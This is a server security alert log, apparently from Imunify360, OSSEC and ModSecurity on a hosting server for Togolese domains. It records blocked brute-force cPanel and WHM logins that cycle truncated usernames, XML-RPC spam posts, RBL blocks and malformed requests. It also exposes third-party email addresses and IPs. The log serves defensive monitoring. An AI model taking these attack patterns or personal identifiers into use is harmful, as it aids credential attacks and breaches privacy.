[2026-06-27 05:59:47 +0000] info [cpaneld] 24.128.227.130 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.186.30.252
country_id: 6252001
description:
[2026-06-27 05:59:53 +0000] info [cpaneld] 184.186.30.252 - togointeri "GET /login/?login_only=1&user=togointeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.245.229.165
country_id: 6252001
description:
[2026-06-27 05:59:56 +0000] info [cpaneld] 96.245.229.165 - togointer "GET /login/?login_only=1&user=togointer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.242.55.238
country_id: 6252001
description:
[2026-06-27 06:00:09 +0000] info [cpaneld] 23.242.55.238 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 8.41.17.12
country_id: 6252001
description:
[2026-06-27 06:00:16 +0000] info [cpaneld] 8.41.17.12 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.55.207.227
country_id: 6252001
description:
[2026-06-27 06:00:14 +0000] info [cpaneld] 69.55.207.227 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:21d1ea18cb640175afa3974f7a4d5eef044a476f||Title:amt94m6o9zm6wl6q||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:094b470caef3a03fafd8be19fd0e3c5997d499cf||Title:smmwqb1tu7b26de8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.87.205.133
country_id: 6252001
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/qkssbq/jason.lee@henkel.com||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-27 06:01:49 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:47340: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7ea83aac5883fb77963ac0d0940fcf6d5dcb7022||Title:l3xeztdsnwv2yn||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:457fc9e15063b68b4382fcb266fee06011287063||Title:hghv3fxxmi58gqo8qa||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.86.252.212
country_id: 6252001
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/auth/then/kord6x/ddavis@hollyequipment.com||User:root||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.48.104.62
country_id: 1269750
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:richgnim22.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5c66dbb9e3f6b17571309993e34442ea1bb26848||Title:migf8348gjn7pw0xc||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 94.154.127.136
country_id: 174982
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:94.154.127.136||TA:94.154.127.136||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.188.144
country_id: 6252001
description:
[2026-06-27 06:06:22 +0000] info [cpaneld] 172.56.188.144 - mondeai "GET /login/?login_only=1&user=mondeai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mondeai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.177.143.97
country_id: 6252001
description:
[2026-06-27 06:06:29 +0000] info [cpaneld] 67.177.143.97 - mondea "GET /login/?login_only=1&user=mondea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mondea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.66.150.232
country_id: 6252001
description:
[2026-06-27 06:06:36 +0000] info [cpaneld] 75.66.150.232 - mond "GET /login/?login_only=1&user=mond&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mond (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.172.105.144
country_id: 6252001
description:
[2026-06-27 06:06:39 +0000] info [cpaneld] 75.172.105.144 - mon "GET /login/?login_only=1&user=mon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.63.255.214
country_id: 6252001
description:
[2026-06-27 06:06:42 +0000] info [cpaneld] 24.63.255.214 - mo "GET /login/?login_only=1&user=mo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.49.59.24
country_id: 6252001
description:
[2026-06-27 06:06:18 +0000] info [cpaneld] 73.49.59.24 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.127.185.213
country_id: 6252001
description:
[2026-06-27 06:07:57 +0000] info [cpaneld] 79.127.185.213 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.32.94.246
country_id: 6252001
description:
[2026-06-27 06:08:58 +0000] info [cpaneld] 68.32.94.246 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.170.49.76
country_id: 6252001
description:
[2026-06-27 06:09:10 +0000] info [cpaneld] 173.170.49.76 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.205.133.70
country_id: 6252001
description:
[2026-06-27 06:09:03 +0000] info [cpaneld] 74.205.133.70 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.224.173.245
country_id: 6252001
description:
[2026-06-27 06:09:07 +0000] info [cpaneld] 173.224.173.245 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.209.193.207
country_id: 6252001
description:
[2026-06-27 06:09:13 +0000] info [cpaneld] 71.209.193.207 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.213.1.36
country_id: 6252001
description:
[2026-06-27 06:09:16 +0000] info [cpaneld] 216.213.1.36 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.136.227.24
country_id: 6252001
description:
[2026-06-27 06:09:19 +0000] info [cpaneld] 40.136.227.24 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.124.88.44
country_id: 2077456
description:
91.124.88.44 - - [27/Jun/2026:06:10:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907289&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ%253D%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782540615 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aGFzbGlsaUBzb3V0aGVybmJ1aWxkZXJzLmNvbS5teQ==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.124.88.44


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.102.177.47
country_id: 2542007
domain: wages.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/wages.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.102.177.47
country_id: 2542007
domain: wages.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/wages.tghttp/wages.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.206.117.239
country_id: 6252001
description:
[2026-06-27 06:14:04 +0000] info [cpaneld] 75.206.117.239 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.156.243.249
country_id: 6252001
description:
[2026-06-27 06:13:56 +0000] info [cpaneld] 98.156.243.249 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 06:14:08 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.228.222.129
country_id: 6252001
description:
[2026-06-27 06:14:12 +0000] info [cpaneld] 134.228.222.129 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 135.84.201.219
country_id: 6252001
description:
[2026-06-27 06:13:59 +0000] info [cpaneld] 135.84.201.219 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.253.180.102
country_id: 6252001
description:
[2026-06-27 06:14:02 +0000] info [cpaneld] 108.253.180.102 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.20.166
country_id: 6252001
description:
[2026-06-27 06:14:16 +0000] info [cpaneld] 172.56.20.166 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.204.180.201
country_id: 6252001
description:
[2026-06-27 06:14:22 +0000] info [cpaneld] 98.204.180.201 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 06:14:27 +0000] info [cpaneld] 188.166.248.160 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.86.91.170
country_id: 6252001
description:
[2026-06-27 06:14:19 +0000] info [cpaneld] 73.86.91.170 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.83.190.45
country_id: 6252001
description:
[2026-06-27 06:15:33 +0000] info [cpaneld] 72.83.190.45 - bel "GET /login/?login_only=1&user=bel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.61.68.80
country_id: 6252001
description:
[2026-06-27 06:15:36 +0000] info [cpaneld] 174.61.68.80 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.143.253.229
country_id: 6252001
description:
[2026-06-27 06:15:18 +0000] info [cpaneld] 76.143.253.229 - belali "GET /login/?login_only=1&user=belali&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belali (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.146.116.108
country_id: 6252001
description:
[2026-06-27 06:15:21 +0000] info [cpaneld] 35.146.116.108 - belalitg "GET /login/?login_only=1&user=belalitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belalitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.78.13.117
country_id: 6252001
description:
[2026-06-27 06:15:27 +0000] info [cpaneld] 174.78.13.117 - belal "GET /login/?login_only=1&user=belal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belal (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.232.201.150
country_id: 6252001
description:
[2026-06-27 06:15:30 +0000] info [cpaneld] 96.232.201.150 - bela "GET /login/?login_only=1&user=bela&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bela (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.90.185.5
country_id: 130758
domain: atms.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:06-16.77.90.185.5||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.63.179
country_id: 3017382
domain: mail.marque.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.marque.free.netmaster.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.83.231.88
country_id: 6252001
description:
[2026-06-27 06:18:29 +0000] info [cpaneld] 71.83.231.88 - iyfttuec "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.168.105.98
country_id: 6252001
description:
[2026-06-27 06:18:30 +0000] info [whostmgrd] 173.168.105.98 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.46.60.112
country_id: 6252001
description:
[2026-06-27 06:18:35 +0000] info [cpaneld] 50.46.60.112 - iyfttuec "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.85.101.84
country_id: 1218197
description:
[2026-06-27 06:18:37 +0000] info [whostmgrd] 95.85.101.84 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.206.67.57
country_id: 6252001
description:
[2026-06-27 06:18:41 +0000] info [cpaneld] 75.206.67.57 - iyfttuec "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.162.183.193
country_id: 6252001
description:
[2026-06-27 06:18:45 +0000] info [whostmgrd] 174.162.183.193 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.246.186.50
country_id: 1819730
description:
2026-06-27 06:22:38 dovecot_plain authenticator failed for H=(3rr2q0sofz1h2awt7) [151.246.186.50]:23226: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.141.31.205
country_id: 6252001
description:
[2026-06-27 06:23:07 +0000] info [cpaneld] 47.141.31.205 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.62.197.132
country_id: 6252001
description:
[2026-06-27 06:23:20 +0000] info [cpaneld] 144.62.197.132 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.235.28.84
country_id: 6252001
description:
[2026-06-27 06:23:26 +0000] info [cpaneld] 71.235.28.84 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.27.170.238
country_id: 6252001
description:
[2026-06-27 06:23:28 +0000] info [cpaneld] 76.27.170.238 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.239.55.223
country_id: 6252001
description:
[2026-06-27 06:23:32 +0000] info [cpaneld] 96.239.55.223 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.196.100
country_id: 1880251
description:
43.172.196.100 - - [27/Jun/2026:06:23:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12831596&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Fproduction-halieutique-plus-de-50-des-pecheurs-sollicitent-volontairement-leur-permis-de-peche%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782541419 HTTP/1.1" 404 561 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2Ftogodailynews.tg%2Fproduction-halieutique-plus-de-50-des-pecheurs-sollicitent-volontairement-leur-permis-de-peche%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.196.100


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.49.139.216
country_id: 6252001
description:
[2026-06-27 06:29:50 +0000] info [cpaneld] 216.49.139.216 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.180.50.163
country_id: 6252001
description:
[2026-06-27 06:29:59 +0000] info [cpaneld] 174.180.50.163 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.182.98.80
country_id: 6252001
description:
[2026-06-27 06:29:35 +0000] info [cpaneld] 76.182.98.80 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.47.126.121
country_id: 6252001
description:
[2026-06-27 06:29:40 +0000] info [cpaneld] 24.47.126.121 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.226.61.135
country_id: 6252001
description:
[2026-06-27 06:29:48 +0000] info [cpaneld] 68.226.61.135 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.63.60.179
country_id: 6252001
description:
[2026-06-27 06:29:54 +0000] info [cpaneld] 174.63.60.179 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.181.99.109
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/485155314 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: www.metaart.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.216.72.108
country_id: 660013
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-32.95.216.72.108||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.134.27.11
country_id: 1880251
description:
43.134.27.11 - - [27/Jun/2026:06:32:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262984&pdata=https%253A%252F%252Flacs1.mairie.tg%252Fcategory%252Factualites%252Fprogres-initiatives%252Fpage%252F7%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782541946 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg/category/actualites/progres-initiatives/page/7/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.134.27.11


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.176.237.28
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/2027462974 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.222.230.107
country_id: 1880251
description:
2026-06-27 06:36:58 dovecot_plain authenticator failed for H=(fjtl5wt9bz3ehdbfo64noejojdr1wd) [8.222.230.107]:62878: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.43.135.44
country_id: 719819
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/696c58 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.111.177.45
country_id: 2589581
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1878684562 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.47.76.157
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/true HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.107
country_id: 3469034
description:
Jun 27 06:41:55 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.107 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.194.157
country_id: 1880251
description:
